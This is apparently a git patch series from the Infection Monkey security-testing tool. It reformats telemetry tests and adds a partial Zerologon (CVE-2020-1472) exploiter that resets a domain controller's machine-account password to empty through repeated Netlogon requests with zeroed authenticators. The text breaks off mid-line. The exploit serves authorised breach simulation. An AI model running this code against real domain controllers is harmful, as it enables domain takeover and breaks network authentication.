ScanStatus from infection_monkey.telemetry.attack.t1105_telem import T1105Telem -DST_IP = '0.0.0.1' -FILENAME = 'virus.exe' -SRC_IP = '0.0.0.0' +DST_IP = "0.0.0.1" +FILENAME = "virus.exe" +SRC_IP = "0.0.0.0" STATUS = ScanStatus.USED @@ -17,10 +17,12 @@ def T1105_telem_test_instance(): def test_T1105_send(T1105_telem_test_instance, spy_send_telemetry): T1105_telem_test_instance.send() - expected_data = {'status': STATUS.value, - 'technique': 'T1105', - 'filename': FILENAME, - 'src': SRC_IP, - 'dst': DST_IP} + expected_data = { + "status": STATUS.value, + "technique": "T1105", + "filename": FILENAME, + "src": SRC_IP, + "dst": DST_IP, + } assert spy_send_telemetry.data == expected_data - assert spy_send_telemetry.telem_category == 'attack' + assert spy_send_telemetry.telem_category == "attack" diff --git a/monkey/infection_monkey/telemetry/tests/attack/test_t1106_telem.py b/monkey/infection_monkey/telemetry/tests/attack/test_t1106_telem.py index e47568c03..f51d124d0 100644 --- a/monkey/infection_monkey/telemetry/tests/attack/test_t1106_telem.py +++ b/monkey/infection_monkey/telemetry/tests/attack/test_t1106_telem.py @@ -15,8 +15,6 @@ def T1106_telem_test_instance(): def test_T1106_send(T1106_telem_test_instance, spy_send_telemetry): T1106_telem_test_instance.send() - expected_data = {'status': STATUS.value, - 'technique': 'T1106', - 'usage': USAGE.name} + expected_data = {"status": STATUS.value, "technique": "T1106", "usage": USAGE.name} assert spy_send_telemetry.data == expected_data - assert spy_send_telemetry.telem_category == 'attack' + assert spy_send_telemetry.telem_category == "attack" diff --git a/monkey/infection_monkey/telemetry/tests/attack/test_t1107_telem.py b/monkey/infection_monkey/telemetry/tests/attack/test_t1107_telem.py index 2635f429b..2e519a934 100644 --- a/monkey/infection_monkey/telemetry/tests/attack/test_t1107_telem.py +++ b/monkey/infection_monkey/telemetry/tests/attack/test_t1107_telem.py @@ -4,7 +4,7 @@ from common.utils.attack_utils import ScanStatus from infection_monkey.telemetry.attack.t1107_telem import T1107Telem -PATH = 'path/to/file.txt' +PATH = "path/to/file.txt" STATUS = ScanStatus.USED @@ -15,8 +15,6 @@ def T1107_telem_test_instance(): def test_T1107_send(T1107_telem_test_instance, spy_send_telemetry): T1107_telem_test_instance.send() - expected_data = {'status': STATUS.value, - 'technique': 'T1107', - 'path': PATH} + expected_data = {"status": STATUS.value, "technique": "T1107", "path": PATH} assert spy_send_telemetry.data == expected_data - assert spy_send_telemetry.telem_category == 'attack' + assert spy_send_telemetry.telem_category == "attack" diff --git a/monkey/infection_monkey/telemetry/tests/attack/test_t1129_telem.py b/monkey/infection_monkey/telemetry/tests/attack/test_t1129_telem.py index ce5562e1a..f07e83ae7 100644 --- a/monkey/infection_monkey/telemetry/tests/attack/test_t1129_telem.py +++ b/monkey/infection_monkey/telemetry/tests/attack/test_t1129_telem.py @@ -15,8 +15,6 @@ def T1129_telem_test_instance(): def test_T1129_send(T1129_telem_test_instance, spy_send_telemetry): T1129_telem_test_instance.send() - expected_data = {'status': STATUS.value, - 'technique': 'T1129', - 'usage': USAGE.name} + expected_data = {"status": STATUS.value, "technique": "T1129", "usage": USAGE.name} assert spy_send_telemetry.data == expected_data - assert spy_send_telemetry.telem_category == 'attack' + assert spy_send_telemetry.telem_category == "attack" diff --git a/monkey/infection_monkey/telemetry/tests/attack/test_t1197_telem.py b/monkey/infection_monkey/telemetry/tests/attack/test_t1197_telem.py index 89d174090..c67832281 100644 --- a/monkey/infection_monkey/telemetry/tests/attack/test_t1197_telem.py +++ b/monkey/infection_monkey/telemetry/tests/attack/test_t1197_telem.py @@ -5,11 +5,11 @@ from infection_monkey.model import VictimHost from infection_monkey.telemetry.attack.t1197_telem import T1197Telem -DOMAIN_NAME = 'domain-name' -IP = '127.0.0.1' +DOMAIN_NAME = "domain-name" +IP = "127.0.0.1" MACHINE = VictimHost(IP, DOMAIN_NAME) STATUS = ScanStatus.USED -USAGE_STR = '[Usage info]' +USAGE_STR = "[Usage info]" @pytest.fixture @@ -19,10 +19,11 @@ def T1197_telem_test_instance(): def test_T1197_send(T1197_telem_test_instance, spy_send_telemetry): T1197_telem_test_instance.send() - expected_data = {'machine': {'domain_name': DOMAIN_NAME, - 'ip_addr': IP}, - 'status': STATUS.value, - 'technique': 'T1197', - 'usage': USAGE_STR} + expected_data = { + "machine": {"domain_name": DOMAIN_NAME, "ip_addr": IP}, + "status": STATUS.value, + "technique": "T1197", + "usage": USAGE_STR, + } assert spy_send_telemetry.data == expected_data - assert spy_send_telemetry.telem_category == 'attack' + assert spy_send_telemetry.telem_category == "attack" diff --git a/monkey/infection_monkey/telemetry/tests/attack/test_t1222_telem.py b/monkey/infection_monkey/telemetry/tests/attack/test_t1222_telem.py index 7a8f88a75..f053b9ca4 100644 --- a/monkey/infection_monkey/telemetry/tests/attack/test_t1222_telem.py +++ b/monkey/infection_monkey/telemetry/tests/attack/test_t1222_telem.py @@ -5,9 +5,9 @@ from infection_monkey.model import VictimHost from infection_monkey.telemetry.attack.t1222_telem import T1222Telem -COMMAND = 'echo hi' -DOMAIN_NAME = 'domain-name' -IP = '127.0.0.1' +COMMAND = "echo hi" +DOMAIN_NAME = "domain-name" +IP = "127.0.0.1" MACHINE = VictimHost(IP, DOMAIN_NAME) STATUS = ScanStatus.USED @@ -19,10 +19,11 @@ def T1222_telem_test_instance(): def test_T1222_send(T1222_telem_test_instance, spy_send_telemetry): T1222_telem_test_instance.send() - expected_data = {'machine': {'domain_name': DOMAIN_NAME, - 'ip_addr': IP}, - 'status': STATUS.value, - 'technique': 'T1222', - 'command': COMMAND} + expected_data = { + "machine": {"domain_name": DOMAIN_NAME, "ip_addr": IP}, + "status": STATUS.value, + "technique": "T1222", + "command": COMMAND, + } assert spy_send_telemetry.data == expected_data - assert spy_send_telemetry.telem_category == 'attack' + assert spy_send_telemetry.telem_category == "attack" diff --git a/monkey/infection_monkey/telemetry/tests/attack/test_usage_telem.py b/monkey/infection_monkey/telemetry/tests/attack/test_usage_telem.py index b707242a3..1a4009be9 100644 --- a/monkey/infection_monkey/telemetry/tests/attack/test_usage_telem.py +++ b/monkey/infection_monkey/telemetry/tests/attack/test_usage_telem.py @@ -5,7 +5,7 @@ from infection_monkey.telemetry.attack.usage_telem import UsageTelem STATUS = ScanStatus.USED -TECHNIQUE = 'T9999' +TECHNIQUE = "T9999" USAGE = UsageEnum.SMB @@ -16,8 +16,10 @@ def usage_telem_test_instance(): def test_usage_telem_send(usage_telem_test_instance, spy_send_telemetry): usage_telem_test_instance.send() - expected_data = {'status': STATUS.value, - 'technique': TECHNIQUE, - 'usage': USAGE.name} + expected_data = { + "status": STATUS.value, + "technique": TECHNIQUE, + "usage": USAGE.name, + } assert spy_send_telemetry.data == expected_data - assert spy_send_telemetry.telem_category == 'attack' + assert spy_send_telemetry.telem_category == "attack" diff --git a/monkey/infection_monkey/telemetry/tests/attack/test_victim_host_telem.py b/monkey/infection_monkey/telemetry/tests/attack/test_victim_host_telem.py index 6a102983b..98d62f05b 100644 --- a/monkey/infection_monkey/telemetry/tests/attack/test_victim_host_telem.py +++ b/monkey/infection_monkey/telemetry/tests/attack/test_victim_host_telem.py @@ -5,11 +5,11 @@ from infection_monkey.model import VictimHost from infection_monkey.telemetry.attack.victim_host_telem import VictimHostTelem -DOMAIN_NAME = 'domain-name' -IP = '127.0.0.1' +DOMAIN_NAME = "domain-name" +IP = "127.0.0.1" MACHINE = VictimHost(IP, DOMAIN_NAME) STATUS = ScanStatus.USED -TECHNIQUE = 'T9999' +TECHNIQUE = "T9999" @pytest.fixture @@ -19,9 +19,10 @@ def victim_host_telem_test_instance(): def test_victim_host_telem_send(victim_host_telem_test_instance, spy_send_telemetry): victim_host_telem_test_instance.send() - expected_data = {'machine': {'domain_name': DOMAIN_NAME, - 'ip_addr': IP}, - 'status': STATUS.value, - 'technique': TECHNIQUE} + expected_data = { + "machine": {"domain_name": DOMAIN_NAME, "ip_addr": IP}, + "status": STATUS.value, + "technique": TECHNIQUE, + } assert spy_send_telemetry.data == expected_data - assert spy_send_telemetry.telem_category == 'attack' + assert spy_send_telemetry.telem_category == "attack" diff --git a/monkey/infection_monkey/telemetry/tests/conftest.py b/monkey/infection_monkey/telemetry/tests/conftest.py index dab650174..cbb1b8074 100644 --- a/monkey/infection_monkey/telemetry/tests/conftest.py +++ b/monkey/infection_monkey/telemetry/tests/conftest.py @@ -11,5 +11,5 @@ def spy_send_telemetry(monkeypatch): _spy_send_telemetry.telem_category = None _spy_send_telemetry.data = None - monkeypatch.setattr(ControlClient, 'send_telemetry', _spy_send_telemetry) + monkeypatch.setattr(ControlClient, "send_telemetry", _spy_send_telemetry) return _spy_send_telemetry diff --git a/monkey/infection_monkey/telemetry/tests/test_exploit_telem.py b/monkey/infection_monkey/telemetry/tests/test_exploit_telem.py index 92ca51ac3..a1d79ef64 100644 --- a/monkey/infection_monkey/telemetry/tests/test_exploit_telem.py +++ b/monkey/infection_monkey/telemetry/tests/test_exploit_telem.py @@ -8,22 +8,26 @@ from infection_monkey.telemetry.exploit_telem import ExploitTelem DOMAIN_NAME = "domain-name" IP = "0.0.0.0" HOST = VictimHost(IP, DOMAIN_NAME) -HOST_AS_DICT = {'ip_addr': IP, - 'domain_name': DOMAIN_NAME, - 'os': {}, - 'services': {}, - 'icmp': False, - 'monkey_exe': None, - 'default_tunnel': None, - 'default_server': None} +HOST_AS_DICT = { + "ip_addr": IP, + "domain_name": DOMAIN_NAME, + "os": {}, + "services": {}, + "icmp": False, + "monkey_exe": None, + "default_tunnel": None, + "default_server": None, +} EXPLOITER = WmiExploiter(HOST) -EXPLOITER_NAME = 'WmiExploiter' -EXPLOITER_INFO = {'display_name': WmiExploiter._EXPLOITED_SERVICE, - 'started': '', - 'finished': '', - 'vulnerable_urls': [], - 'vulnerable_ports': [], - 'executed_cmds': []} +EXPLOITER_NAME = "WmiExploiter" +EXPLOITER_INFO = { + "display_name": WmiExploiter._EXPLOITED_SERVICE, + "started": "", + "finished": "", + "vulnerable_urls": [], + "vulnerable_ports": [], + "executed_cmds": [], +} EXPLOITER_ATTEMPTS = [] RESULT = False diff --git a/monkey/infection_monkey/telemetry/tests/test_post_breach_telem.py b/monkey/infection_monkey/telemetry/tests/test_post_breach_telem.py index 5dd1123ab..adff1ca62 100644 --- a/monkey/infection_monkey/telemetry/tests/test_post_breach_telem.py +++ b/monkey/infection_monkey/telemetry/tests/test_post_breach_telem.py @@ -2,10 +2,12 @@ import pytest from common.data.post_breach_consts import POST_BREACH_JOB_SCHEDULING from infection_monkey.post_breach.actions.schedule_jobs import ScheduleJobs -from infection_monkey.post_breach.job_scheduling.linux_job_scheduling import \ - get_linux_commands_to_schedule_jobs -from infection_monkey.post_breach.job_scheduling.windows_job_scheduling import \ - get_windows_commands_to_schedule_jobs +from infection_monkey.post_breach.job_scheduling.linux_job_scheduling import ( + get_linux_commands_to_schedule_jobs, +) +from infection_monkey.post_breach.job_scheduling.windows_job_scheduling import ( + get_windows_commands_to_schedule_jobs, +) from infection_monkey.telemetry.post_breach_telem import PostBreachTelem from infection_monkey.utils.environment import is_windows_os @@ -13,8 +15,11 @@ from infection_monkey.utils.environment import is_windows_os HOSTNAME = "hostname" IP = "0.0.0.0" PBA = ScheduleJobs() -PBA_COMMAND = get_windows_commands_to_schedule_jobs() if is_windows_os() else\ - ' '.join(get_linux_commands_to_schedule_jobs()) +PBA_COMMAND = ( + get_windows_commands_to_schedule_jobs() + if is_windows_os() + else " ".join(get_linux_commands_to_schedule_jobs()) +) PBA_NAME = POST_BREACH_JOB_SCHEDULING RESULT = False diff --git a/monkey/infection_monkey/telemetry/tests/test_scan_telem.py b/monkey/infection_monkey/telemetry/tests/test_scan_telem.py index f35d84289..645cbbaf7 100644 --- a/monkey/infection_monkey/telemetry/tests/test_scan_telem.py +++ b/monkey/infection_monkey/telemetry/tests/test_scan_telem.py @@ -3,17 +3,20 @@ import pytest from infection_monkey.telemetry.scan_telem import ScanTelem from infection_monkey.model.host import VictimHost + DOMAIN_NAME = "domain-name" IP = "0.0.0.0" HOST = VictimHost(IP, DOMAIN_NAME) -HOST_AS_DICT = {'ip_addr': IP, - 'domain_name': DOMAIN_NAME, - 'os': {}, - 'services': {}, - 'icmp': False, - 'monkey_exe': None, - 'default_tunnel': None, - 'default_server': None} +HOST_AS_DICT = { + "ip_addr": IP, + "domain_name": DOMAIN_NAME, + "os": {}, + "services": {}, + "icmp": False, + "monkey_exe": None, + "default_tunnel": None, + "default_server": None, +} HOST_SERVICES = {} diff --git a/monkey/infection_monkey/telemetry/tests/test_state_telem.py b/monkey/infection_monkey/telemetry/tests/test_state_telem.py index a8beaf5ad..5d0eeabce 100644 --- a/monkey/infection_monkey/telemetry/tests/test_state_telem.py +++ b/monkey/infection_monkey/telemetry/tests/test_state_telem.py @@ -2,6 +2,7 @@ import pytest from infection_monkey.telemetry.state_telem import StateTelem + IS_DONE = True VERSION = "version" diff --git a/monkey/infection_monkey/telemetry/tests/test_system_info_telem.py b/monkey/infection_monkey/telemetry/tests/test_system_info_telem.py index 11692d4bb..dc362f7a7 100644 --- a/monkey/infection_monkey/telemetry/tests/test_system_info_telem.py +++ b/monkey/infection_monkey/telemetry/tests/test_system_info_telem.py @@ -2,6 +2,7 @@ import pytest from infection_monkey.telemetry.system_info_telem import SystemInfoTelem + SYSTEM_INFO = {} diff --git a/monkey/infection_monkey/telemetry/tests/test_trace_telem.py b/monkey/infection_monkey/telemetry/tests/test_trace_telem.py index e4bb06a6b..9b297c4ea 100644 --- a/monkey/infection_monkey/telemetry/tests/test_trace_telem.py +++ b/monkey/infection_monkey/telemetry/tests/test_trace_telem.py @@ -2,6 +2,7 @@ import pytest from infection_monkey.telemetry.trace_telem import TraceTelem + MSG = "message" From 2bc27b48de9f9cd2f3937ce3bf80518c023e856b Mon Sep 17 00:00:00 2001 From: Shreya Date: Fri, 19 Feb 2021 00:44:28 +0530 Subject: [PATCH 274/466] Use stub for PBA --- .../telemetry/tests/test_post_breach_telem.py | 25 +++++++------------ 1 file changed, 9 insertions(+), 16 deletions(-) diff --git a/monkey/infection_monkey/telemetry/tests/test_post_breach_telem.py b/monkey/infection_monkey/telemetry/tests/test_post_breach_telem.py index adff1ca62..ebd085a8d 100644 --- a/monkey/infection_monkey/telemetry/tests/test_post_breach_telem.py +++ b/monkey/infection_monkey/telemetry/tests/test_post_breach_telem.py @@ -1,31 +1,24 @@ import pytest -from common.data.post_breach_consts import POST_BREACH_JOB_SCHEDULING -from infection_monkey.post_breach.actions.schedule_jobs import ScheduleJobs -from infection_monkey.post_breach.job_scheduling.linux_job_scheduling import ( - get_linux_commands_to_schedule_jobs, -) -from infection_monkey.post_breach.job_scheduling.windows_job_scheduling import ( - get_windows_commands_to_schedule_jobs, -) from infection_monkey.telemetry.post_breach_telem import PostBreachTelem -from infection_monkey.utils.environment import is_windows_os HOSTNAME = "hostname" IP = "0.0.0.0" -PBA = ScheduleJobs() -PBA_COMMAND = ( - get_windows_commands_to_schedule_jobs() - if is_windows_os() - else " ".join(get_linux_commands_to_schedule_jobs()) -) -PBA_NAME = POST_BREACH_JOB_SCHEDULING +PBA_COMMAND = "run some pba" +PBA_NAME = "some pba" RESULT = False +class StubSomePBA: + def __init__(self): + self.name = PBA_NAME + self.command = PBA_COMMAND + + @pytest.fixture def post_breach_telem_test_instance(monkeypatch): + PBA = StubSomePBA() monkeypatch.setattr(PostBreachTelem, "_get_hostname_and_ip", lambda: (HOSTNAME, IP)) return PostBreachTelem(PBA, RESULT) From 900bb7636df34cd42c694dffaf5b085462c05d3b Mon Sep 17 00:00:00 2001 From: Shreya Date: Wed, 23 Dec 2020 14:36:42 +0530 Subject: [PATCH 275/466] Basic config and report stuff --- .../cc/services/config_schema/basic.py | 3 ++- .../definitions/exploiter_classes.py | 12 ++++++++++++ .../monkey_island/cc/services/reporting/report.py | 15 +++++++++++++-- 3 files changed, 27 insertions(+), 3 deletions(-) diff --git a/monkey/monkey_island/cc/services/config_schema/basic.py b/monkey/monkey_island/cc/services/config_schema/basic.py index 0fa0b80d4..ec01f8899 100644 --- a/monkey/monkey_island/cc/services/config_schema/basic.py +++ b/monkey/monkey_island/cc/services/config_schema/basic.py @@ -27,7 +27,8 @@ BASIC = { "HadoopExploiter", "VSFTPDExploiter", "MSSQLExploiter", - "DrupalExploiter" + "DrupalExploiter", + "ZerologonExploiter" ] } } diff --git a/monkey/monkey_island/cc/services/config_schema/definitions/exploiter_classes.py b/monkey/monkey_island/cc/services/config_schema/definitions/exploiter_classes.py index 25158d73a..2cbbca431 100644 --- a/monkey/monkey_island/cc/services/config_schema/definitions/exploiter_classes.py +++ b/monkey/monkey_island/cc/services/config_schema/definitions/exploiter_classes.py @@ -148,6 +148,18 @@ EXPLOITER_CLASSES = { "info": "Exploits a remote command execution vulnerability in a Drupal server," "for which certain modules (such as RESTful Web Services) are enabled.", "link": "https://www.guardicore.com/infectionmonkey/docs/reference/exploiters/drupal/" + }, + { + "type": "string", + "enum": [ + "ZerologonExploiter" + ], + "title": "Zerologon Exploiter (UNSAFE)", + "info": "Unsafe exploiter (changes the password of a Windows server domain controller account and " + "breaks communication with other domain controllers.) " + "Exploits a privilege escalation vulnerability in a Windows server domain controller, " + "using the Netlogon Remote Protocol (MS-NRPC).", + # "link": "https://www.guardicore.com/infectionmonkey/docs/reference/exploiters/zerologon/" } ] } diff --git a/monkey/monkey_island/cc/services/reporting/report.py b/monkey/monkey_island/cc/services/reporting/report.py index 1e77065d4..8b85f638d 100644 --- a/monkey/monkey_island/cc/services/reporting/report.py +++ b/monkey/monkey_island/cc/services/reporting/report.py @@ -44,7 +44,8 @@ class ReportService: 'HadoopExploiter': 'Hadoop/Yarn Exploiter', 'MSSQLExploiter': 'MSSQL Exploiter', 'VSFTPDExploiter': 'VSFTPD Backdoor Exploiter', - 'DrupalExploiter': 'Drupal Server Exploiter' + 'DrupalExploiter': 'Drupal Server Exploiter', + 'ZerologonExploiter': 'Windows Server Zerologon Exploiter' } class ISSUES_DICT(Enum): @@ -63,6 +64,7 @@ class ReportService: MSSQL = 12 VSFTPD = 13 DRUPAL = 14 + ZEROLOGON = 15 class WARNINGS_DICT(Enum): CROSS_SEGMENT = 0 @@ -363,6 +365,12 @@ class ReportService: processed_exploit['type'] = 'drupal' return processed_exploit + @staticmethod + def process_zerologon_exploit(exploit): + processed_exploit = ReportService.process_general_exploit(exploit) + processed_exploit['type'] = 'zerologon' + return processed_exploit + @staticmethod def process_exploit(exploit): exploiter_type = exploit['data']['exploiter'] @@ -379,7 +387,8 @@ class ReportService: 'HadoopExploiter': ReportService.process_hadoop_exploit, 'MSSQLExploiter': ReportService.process_mssql_exploit, 'VSFTPDExploiter': ReportService.process_vsftpd_exploit, - 'DrupalExploiter': ReportService.process_drupal_exploit + 'DrupalExploiter': ReportService.process_drupal_exploit, + 'ZerologonExploiter': ReportService.process_zerologon_exploit } return EXPLOIT_PROCESS_FUNCTION_DICT[exploiter_type](exploit) @@ -678,6 +687,8 @@ class ReportService: issues_byte_array[ReportService.ISSUES_DICT.HADOOP.value] = True elif issue['type'] == 'drupal': issues_byte_array[ReportService.ISSUES_DICT.DRUPAL.value] = True + elif issue['type'] == 'zerologon': + issues_byte_array[ReportService.ISSUES_DICT.ZEROLOGON.value] = True elif issue['type'].endswith('_password') and issue['password'] in config_passwords and \ issue['username'] in config_users or issue['type'] == 'ssh': issues_byte_array[ReportService.ISSUES_DICT.WEAK_PASSWORD.value] = True From 2cc0a159e0ba65bc7597453d5ed07af1b29c2056 Mon Sep 17 00:00:00 2001 From: Shreya Date: Sun, 27 Dec 2020 23:02:34 +0530 Subject: [PATCH 276/466] Rename "WindowsServer" fingerprinter: "Zerologon" makes more sense --- ...{windowsserver_fingerprint.py => zerologon_fingerprint.py} | 2 +- .../cc/services/config_schema/definitions/finger_classes.py | 4 ++-- monkey/monkey_island/cc/services/config_schema/internal.py | 2 +- 3 files changed, 4 insertions(+), 4 deletions(-) rename monkey/infection_monkey/network/{windowsserver_fingerprint.py => zerologon_fingerprint.py} (98%) diff --git a/monkey/infection_monkey/network/windowsserver_fingerprint.py b/monkey/infection_monkey/network/zerologon_fingerprint.py similarity index 98% rename from monkey/infection_monkey/network/windowsserver_fingerprint.py rename to monkey/infection_monkey/network/zerologon_fingerprint.py index 3bb1a8450..bf14a5dc9 100644 --- a/monkey/infection_monkey/network/windowsserver_fingerprint.py +++ b/monkey/infection_monkey/network/zerologon_fingerprint.py @@ -12,7 +12,7 @@ from infection_monkey.network.HostFinger import HostFinger LOG = logging.getLogger(__name__) -class WindowsServerFinger(HostFinger): +class ZerologonFinger(HostFinger): # Class related consts MAX_ATTEMPTS = 2000 _SCANNED_SERVICE = "NTLM (NT LAN Manager)" diff --git a/monkey/monkey_island/cc/services/config_schema/definitions/finger_classes.py b/monkey/monkey_island/cc/services/config_schema/definitions/finger_classes.py index 5e3f75f33..f7de38cc7 100644 --- a/monkey/monkey_island/cc/services/config_schema/definitions/finger_classes.py +++ b/monkey/monkey_island/cc/services/config_schema/definitions/finger_classes.py @@ -75,9 +75,9 @@ FINGER_CLASSES = { { "type": "string", "enum": [ - "WindowsServerFinger" + "ZerologonFinger" ], - "title": "WindowsServerFinger", + "title": "ZerologonFinger", "safe": True, "info": "Checks if server is a Windows Server and tests if it is vulnerable to Zerologon.", "attack_techniques": ["T1210"] diff --git a/monkey/monkey_island/cc/services/config_schema/internal.py b/monkey/monkey_island/cc/services/config_schema/internal.py index fae309ad5..edd568db0 100644 --- a/monkey/monkey_island/cc/services/config_schema/internal.py +++ b/monkey/monkey_island/cc/services/config_schema/internal.py @@ -223,7 +223,7 @@ INTERNAL = { "MySQLFinger", "MSSQLFinger", "ElasticFinger", - "WindowsServerFinger" + "ZerologonFinger" ] } } From 9468de471df9c905681570b5240d5517a5a9fd76 Mon Sep 17 00:00:00 2001 From: Shreya Date: Mon, 28 Dec 2020 00:00:39 +0530 Subject: [PATCH 277/466] Partially add Zerologon exploiter --- monkey/infection_monkey/exploit/zerologon.py | 85 ++++++++++++++++++++ 1 file changed, 85 insertions(+) create mode 100644 monkey/infection_monkey/exploit/zerologon.py diff --git a/monkey/infection_monkey/exploit/zerologon.py b/monkey/infection_monkey/exploit/zerologon.py new file mode 100644 index 000000000..2b1e04243 --- /dev/null +++ b/monkey/infection_monkey/exploit/zerologon.py @@ -0,0 +1,85 @@ +""" +Zerologon, CVE-2020-1472 +Implementation based on https://github.com/dirkjanm/CVE-2020-1472/ and https://github.com/risksense/zerologon/. +""" + +import logging + +from impacket.dcerpc.v5 import epm, nrpc, transport + +from infection_monkey.network.windowsserver_fingerprint import ZerologonFinger + +LOG = logging.getLogger(__name__) + + +class ZerologonExploiter(HostExploiter): + _TARGET_OS_TYPE = ['windows'] + _EXPLOITED_SERVICE = 'Netlogon' + + def __init__(self, host): + super().__init__(host) + self.vulnerable_port = None + + def _exploit_host(self): + MAX_ATTEMPTS = 2000 + zerologon_finger = ZerologonFinger() + + DC_IP = self.host.ip + DC_NAME = zerologon_finger.get_dc_name(DC_IP) + DC_HANDLE = '\\\\' + DC_NAME + + if zerologon_finger.get_host_fingerprint(self.host): # exploitable + LOG.info("Target vulnerable, changing account password to empty string") + + # Connect to the DC's Netlogon service. + binding = epm.hept_map(DC_IP, nrpc.MSRPC_UUID_NRPC, + protocol='ncacn_ip_tcp') + rpc_con = transport.DCERPCTransportFactory(binding).get_dce_rpc() + rpc_con.connect() + rpc_con.bind(nrpc.MSRPC_UUID_NRPC) + + # Start exploiting attempts. + # Max attempts = 2000. Expected average number of attempts needed: 256. + result = None + for _ in range(0, MAX_ATTEMPTS): + try: + result = attempt_exploit(DC_HANDLE, rpc_con, DC_NAME) + except nrpc.DCERPCSessionError as ex: + # Failure should be due to a STATUS_ACCESS_DENIED error. + # Otherwise, the attack is probably not working. + if ex.get_error_code() != 0xc0000022: + LOG.info(f"Unexpected error code from DC: {ex.get_error_code()}") + except BaseException as ex: + LOG.info(f"Unexpected error: {ex}") + + if result is not None: + break + + LOG.debug(f"Result error code: {result['ErrorCode']}") + if result['ErrorCode'] == 0: + LOG.info("Exploit complete!") + else: + LOG.info("Non-zero return code, something went wrong.") + + # how do i execute monkey on the exploited machine? + # restore password + + else: + LOG.info("Exploit failed. Target is either patched or an unexpected error was encountered.") + + def attempt_exploit(self, DC_HANDLE, rpc_con, TARGET_COMPUTER): + request = nrpc.NetrServerPasswordSet2() + request['PrimaryName'] = DC_HANDLE + '\x00' + request['AccountName'] = TARGET_COMPUTER + '$\x00' + request['SecureChannelType'] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel + authenticator = nrpc.NETLOGON_AUTHENTICATOR() + authenticator['Credential'] = b'\x00' * 8 + authenticator['Timestamp'] = 0 + request['Authenticator'] = authenticator + request['ComputerName'] = TARGET_COMPUTER + '\x00' + request['ClearNewPassword'] = b'\x00' * 516 + return rpc_con.request(request) + + def restore_password(self): + # get nthash using secretsdump and then restore password + pass From 44e15bd2a0b6116034b6dfc84fbf3198c7b2f587 Mon Sep 17 00:00:00 2001 From: Shreya Date: Tue, 29 Dec 2020 00:10:17 +0530 Subject: [PATCH 278/466] Add restore_password() --- monkey/infection_monkey/exploit/zerologon.py | 157 ++++++++++++++++--- 1 file changed, 134 insertions(+), 23 deletions(-) diff --git a/monkey/infection_monkey/exploit/zerologon.py b/monkey/infection_monkey/exploit/zerologon.py index 2b1e04243..2c180009b 100644 --- a/monkey/infection_monkey/exploit/zerologon.py +++ b/monkey/infection_monkey/exploit/zerologon.py @@ -7,43 +7,65 @@ import logging from impacket.dcerpc.v5 import epm, nrpc, transport +from impacket.dcerpc.v5 import nrpc, epm +from impacket.dcerpc.v5.dtypes import NULL +from impacket.dcerpc.v5 import transport +from impacket import crypto +from impacket.dcerpc.v5.ndr import NDRCALL +import impacket + +from binascii import hexlify, unhexlify +from Cryptodome.Cipher import DES, AES, ARC4 + from infection_monkey.network.windowsserver_fingerprint import ZerologonFinger LOG = logging.getLogger(__name__) +class NetrServerPasswordSet(nrpc.NDRCALL): + opnum = 6 + structure = ( + ('PrimaryName', nrpc.PLOGONSRV_HANDLE), + ('AccountName', nrpc.WSTR), + ('SecureChannelType', nrpc.NETLOGON_SECURE_CHANNEL_TYPE), + ('ComputerName', nrpc.WSTR), + ('Authenticator', nrpc.NETLOGON_AUTHENTICATOR), + ('UasNewPassword', nrpc.ENCRYPTED_NT_OWF_PASSWORD), + ) + + +class NetrServerPasswordSetResponse(nrpc.NDRCALL): + structure = ( + ('ReturnAuthenticator', nrpc.NETLOGON_AUTHENTICATOR), + ('ErrorCode', nrpc.NTSTATUS), + ) + + class ZerologonExploiter(HostExploiter): _TARGET_OS_TYPE = ['windows'] _EXPLOITED_SERVICE = 'Netlogon' + MAX_ATTEMPTS = 2000 def __init__(self, host): super().__init__(host) self.vulnerable_port = None + self.zerologon_finger = ZerologonFinger() def _exploit_host(self): - MAX_ATTEMPTS = 2000 - zerologon_finger = ZerologonFinger() + DC_IP, DC_NAME, DC_HANDLE = self.get_dc_details() - DC_IP = self.host.ip - DC_NAME = zerologon_finger.get_dc_name(DC_IP) - DC_HANDLE = '\\\\' + DC_NAME - - if zerologon_finger.get_host_fingerprint(self.host): # exploitable - LOG.info("Target vulnerable, changing account password to empty string") + if self.is_exploitable(): + LOG.info("Target vulnerable, changing account password to empty string.") # Connect to the DC's Netlogon service. - binding = epm.hept_map(DC_IP, nrpc.MSRPC_UUID_NRPC, - protocol='ncacn_ip_tcp') - rpc_con = transport.DCERPCTransportFactory(binding).get_dce_rpc() - rpc_con.connect() - rpc_con.bind(nrpc.MSRPC_UUID_NRPC) + rpc_con = self.connect_to_dc(DC_IP) # Start exploiting attempts. # Max attempts = 2000. Expected average number of attempts needed: 256. result = None - for _ in range(0, MAX_ATTEMPTS): + for _ in range(0, self.MAX_ATTEMPTS): try: - result = attempt_exploit(DC_HANDLE, rpc_con, DC_NAME) + result = self.attempt_exploit(DC_HANDLE, rpc_con, DC_NAME) except nrpc.DCERPCSessionError as ex: # Failure should be due to a STATUS_ACCESS_DENIED error. # Otherwise, the attack is probably not working. @@ -61,25 +83,114 @@ class ZerologonExploiter(HostExploiter): else: LOG.info("Non-zero return code, something went wrong.") - # how do i execute monkey on the exploited machine? - # restore password + ## how do i execute monkey on the exploited machine? + ## restore password else: LOG.info("Exploit failed. Target is either patched or an unexpected error was encountered.") - def attempt_exploit(self, DC_HANDLE, rpc_con, TARGET_COMPUTER): + def get_dc_details(self): + dc_ip = self.host.ip + dc_name = self.zerologon_finger.get_dc_name(dc_ip) + dc_handle = '\\\\' + DC_NAME + return dc_ip, dc_name, dc_handle + + def is_exploitable(self): + return self.zerologon_finger.get_host_fingerprint(self.host) + + def connect_to_dc(self, DC_IP): + binding = epm.hept_map(DC_IP, nrpc.MSRPC_UUID_NRPC, + protocol='ncacn_ip_tcp') + rpc_con = transport.DCERPCTransportFactory(binding).get_dce_rpc() + rpc_con.connect() + rpc_con.bind(nrpc.MSRPC_UUID_NRPC) + return rpc_con + + def attempt_exploit(self, DC_HANDLE, rpc_con, DC_NAME): request = nrpc.NetrServerPasswordSet2() request['PrimaryName'] = DC_HANDLE + '\x00' - request['AccountName'] = TARGET_COMPUTER + '$\x00' + request['AccountName'] = DC_NAME + '$\x00' request['SecureChannelType'] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel authenticator = nrpc.NETLOGON_AUTHENTICATOR() authenticator['Credential'] = b'\x00' * 8 authenticator['Timestamp'] = 0 request['Authenticator'] = authenticator - request['ComputerName'] = TARGET_COMPUTER + '\x00' + request['ComputerName'] = DC_NAME + '\x00' request['ClearNewPassword'] = 